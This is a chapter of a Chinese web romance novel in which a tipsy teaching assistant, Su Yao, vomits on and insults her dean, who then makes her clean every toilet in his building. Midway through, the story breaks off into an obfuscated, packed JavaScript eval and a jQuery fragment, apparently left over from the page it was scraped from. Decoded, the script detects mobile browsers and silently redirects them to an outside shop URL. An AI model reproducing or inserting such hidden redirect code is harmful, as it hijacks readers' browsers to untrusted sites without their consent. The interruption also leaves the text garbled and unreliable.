5. Chapter 5
    这次不光是主桌,整个大厅都鸦雀无声。

    包括李富民在内,所有人都傻了。

    沈回秋那脾气,绝不是浪得虚名,别说学生,连在坐的领导们都怵,只要沈回秋一黑脸,心肝直打颤。

    平时压根没人敢惹。

    说真的,他们还从来没见过沈回秋的脸能黑成这样。

    偏闯了祸的那个还不自知。

    喝醉的人大约要分两种,一种吐完了就清醒,另一种却是越吐越醉。

    苏药以前没喝醉过,不知道,现在才发现,原来自己属于后者。

    她早饭就吃了一口,中午盛情难却勉强咽了一个面包,又吐了那么一通,胃一下子就空了,倒是刚好给酒精腾了地方。

    酒意开始到处横冲直撞,熏得她视线模糊。

    苏药费力的撑着眼皮,看不清对面的人,唯独看见对方的裤子上一摊黄色的痕迹,似乎还沾着食物的残渣,正源源不断的散发出一股刺鼻的酒精味。

    她立刻捂住鼻子朝后挪了一下,满脸嫌弃道,“你别离我太近,好恶心。”

    话出口的瞬间,大厅的温度已经降到了冰点。

    沈回秋铁青着脸,嘴角紧抿,下颚紧绷,一双桃花眼微微眯起,眼底暗色汹涌,但凡有些眼色的都能看出来,这是真气得狠了。

    众人你看看我,我看看你,没人敢在这个时候出声。

    虽然沈回秋脾气不好,但也鲜少有人能让他真的动怒。

    能把他气成这样,这小助教是个人才。

    沈回秋沉默了足有好几分钟,就在李富民已经开始思考如果他为了苏药挺身而出英勇就义能不能在张素梅两口子心里挽回点颜面时,沉默中的男人终于开口。

    “苏药,你很好。”

    压抑到极点的平静,怎么看,这句话都不会是字面上的意思。

    醉得浑浑噩噩的苏药无意识的打了个哆嗦。

    沈回秋站起身,居高临下的看着她,冰冷的目光像是在看一只濒死的蚂蚁,“觉得这个游戏很有意思?”

    男人缓缓翘起嘴角,“没关系,既然你想玩,我也不介意奉陪到底。”

    说罢不再理会还没缓过神的众人,卷着一股冷冽的寒风大步而去。

    苏药是在沈回秋说出最后一个字时清醒的,被那寒风的尾巴一扫,差点当场抱着沈回秋的大腿痛哭流涕。

    很神奇,之前明明醉得那么厉害,结果酒醒了,一没断片,二没失忆,之前干了什么蠢事全都记得一清二楚。

    她吸了吸鼻子,绝望的看向李富民,“我明天是不是得先去给自己挑块埋尸地了?”

    李富民也绝望,“我看东区那湖边不错,坐北朝南,阳光充足,我还能顺路去给你烧点纸。”

    苏药汪的一声哭了出来。

    闹出这种事,众人也没了聚餐的心情,简单吃过几口,就散了席,各回各家,各找各妈,有老婆孩子的就抱着老婆孩子热炕头去。

    这一晚,不管是几家欢喜几家愁。

    反正苏药是彻底一战成名。

    新学期还没开学,已经在全校师生中打响了名号。

    学校的论坛换上了新的置顶,也不知是哪个不怕死的,竟然还偷拍了视频。

    虽然画面几乎抖成筛子,却不妨碍他们一眼就认出来,被吐了一身的那个就是他们学校赫赫有名的毒美人沈回秋。

    学生们对这位加强版的新勇士简直是崇拜到了极点,吐了沈回秋一身,还没被那位当场人道毁灭。

    神人啊。

    就连原本最痛苦的开学前的这段时光都变得不再那么煎熬,因为他们恨不得现在就飞回学校去瞻仰下这位勇士伟岸的身影。

    一夜无眠。

    转天早晨,苏药出门前很郑重的拥抱了她爹,老佛爷不让抱,嫌她脑袋又抽风。

    苏药想,你会后悔的,说不好你闺女以后想抽风都没机会了。

    上班路上,她又特地绕道去了趟附近的殡葬店,扒着玻璃认真的给自己挑了个喜欢的骨灰盒,老板看她的眼神像看疯子。

    苏药也没理。

    这些凡人又岂能了解她此刻的痛苦。

    她卡着最后一秒磨磨蹭蹭的踏进沈回秋的办公室,不由得叹口气,该来的还是来了。

    沈回秋已经在办公桌后坐着,面无表情,冷若寒霜。

    “醒酒了?”

    苏药苦着脸点头,蹭过去小声说了句对不起,虽然在她看来,男人可能并不需要这句道歉。

    沈回秋掀起眼皮看她一眼,“也挑好骨灰盒了?”

    苏药的嘴角顿时又往下垮了一点。

    刚才进校门时刚好碰到了李富民,顺手就把挑中的骨灰盒给对方发了过去,反正校长当时那个表情她实在不太好描述。

    没想到这么会儿功夫,沈回秋就知道了。

    这是有多迫不及待把她毁尸灭迹?

    那她要不要告诉沈回秋其实她连埋尸地都找好了,可千万别埋错了地方,不然怕校长烧纸烧错了人。

    好在沈回秋的眼神让她及时打消了这个作死的想法。

    沈回秋冷眼看着面前这个一会儿皱眉一会儿翻白眼的女人,当着他的面都能开小差,是真的胆子大,还是伪装得太好?

    他当然有无数个法子能立刻撕破这女人的面具,只是他觉得烦了,不想再继续跟那几个蠢货纠缠。

    不是想在他身边安棋子吗,那他就陪他们玩玩。

    不得不说,这次的棋子倒是难得勾起他一点兴趣,让他也忍不住想看一看,这女人到底还能做到什么程度。

    沈回秋不动声色的勾了下唇角,伸手拿起旁边的电话。

    苏药刚回神,就听到男人冰冷无情的声音在房间里响起,“我这栋办公楼的卫生间你不用再安排别人打扫,这周都交给我的助教。”

    对面的后勤主任直接就傻了。

    设计学院的办公楼是全校最大的,加起来二十多个厕所,三个保洁还得两班倒,让人一个小姑娘全部负责,这不是欺负人么。

    可沈回秋的话他又不能反驳,只好去找校长诉苦。

    李富民听完却只是悠悠的叹口气,“俗话说的好啊,好死不如赖活着。”

    后勤主任的老婆生孩子,今天才回来上班,还不知道昨天发生了什么,茫然的挠挠后脑勺,“谁要死了?”

    副校长赶紧把人劝走,自从苏药给校长发了那个骨灰盒的照片,校长这一早晨差点没把头发给捋秃,一个劲儿的往东边那片人工湖的方向瞅,显然是被刺激到了。

    真是一个比一个不让人省心。

    不过这会儿苏药比李富民更崩溃。

    打扫厕所!

    还是全办公楼的厕所!

    理由竟然是为了让她更快的熟悉工作环境,谁特么熟悉环境还需要熟悉厕所的!

    这到底得是多丧心病狂的人才能想出来的办法,还不如直接灭了她给个痛快。

    可惜这件事她根本没有拒绝的权利,谁让她划了人家的车,又吐了人家一身,为了不让全家人陪她睡大街,她只能忍。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067567|149341||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    拿着抹布和拖把的苏药,觉得她此刻像极了家养小精灵。

    上窜下跳的折腾一天,才打扫完一半。

    女厕所还好,打扫男厕所时好几次碰见里面有人,她还没怎么着,男老师们先红了脸,扭扭捏捏的半天不肯出来。

    她就只能站在外面等。

    苏药捶了捶酸痛的后背,忍不住暗自叹口气,里面那哥们都蹲了快一个小时了,也不知道是肾虚还是便秘。

    要不是这层就差这一个,她早转移阵地了。

    正吐槽着,却见沈回秋迎面过来。

    苏药赶紧打招呼,“沈院长,您也来上厕所啊。”

    沈回秋脚步一顿,还没开口,厕所的门先打开了。

    那蹲了快一个小时的哥们终于一瘸一拐的走出来,哭丧着脸冲沈回秋点了下头,又幽怨的看了苏药一眼,提着裤子走了。

    苏药眨巴眨巴眼睛,好像突然就找到了提高效率的办法。

    她拎起水桶和拖布,刚想往里进,又想起旁边还站着个沈回秋,于是扭头问道,“沈院长,你要不要先去?”

    她是好心,生怕再把她这位顶头上司憋出个好歹来。

    谁知沈回秋听完冷冷瞪她一眼,竟一脸嫌弃的朝后退了半步,“别离我太近,一股子臭味。”

    说罢顿了顿,刻意加重了语气,“恶心。”

    苏药愣了好半天,直到男人转身走远,才反应过来,沈回秋这哪是来上厕所,分明是来看她笑话,外加把昨天的场子找回来。

    她深吸口气,忍了又忍,最终忍无可忍,冲着男人已经走远的背影竖起了中指。

    长得好看了不起吗!

    就没见过这么心胸狭窄小肚鸡肠的男人,心眼儿比针鼻儿还小!

    等她好不容易把最后一间厕所打扫完,已经是十点多。

    公交车早没了,苏爸爸特地蹬了自行车来接她,苏药坐在车后座上,看着苏爸爸宽厚的背影,突然就生出点想哭的冲动。

    本来以为上了班,就能让她爹妈少替她操点心。

    结果却瘫上这种事,这才几天,半条命都快被折腾没了,还没工资拿。

    沈回秋确实之前说过不让她赔修车钱,但介于她昨天的行为实在太恶劣,所以她的顶头上司又改了主意。

    可以不用一次性赔,但是每个月都要从工资里扣。

    这件事苏药还没想好该怎么跟苏妈妈说,苏妈妈要是知道了一定会骂她蠢死了。

    她进家门时,苏妈妈还没睡,坐沙发上有一搭无一搭的看着电视。

    桌上摆着一碗面,冒着热气,明显是刚出锅的。

    苏妈妈嫌弃,“笨成这样,也不知道是随了谁,吃完了赶紧去睡觉。”

    苏爸爸乐呵呵道,“我闺女当然随我。”

    苏药去洗了手,坐到桌旁一边吃面一边听两人斗嘴。

    苏妈妈很少做饭,盐和糖都分不清,偶尔心血来潮下个厨,她跟她爹都是一通猛夸,然后吃得盆干碗静,导致苏妈妈从没尝过自己的厨艺,还以为自己做的菜能媲美满汉全席。

    其实特别难吃。

    吃着嘴里分不出是苦还是甜的面条,苏药的情绪却突然就被安抚了下来。

    不就是扫个厕所嘛。

    不就是运气不好碰上个又小气又刻薄还爱整她的上司嘛。

    有什么大不了。

    勾践还卧薪尝胆了整整十年呢,吃得苦中苦,方为人上人,早晚有一天,她要站在沈回秋的面前,理直气壮的冲他比个中指。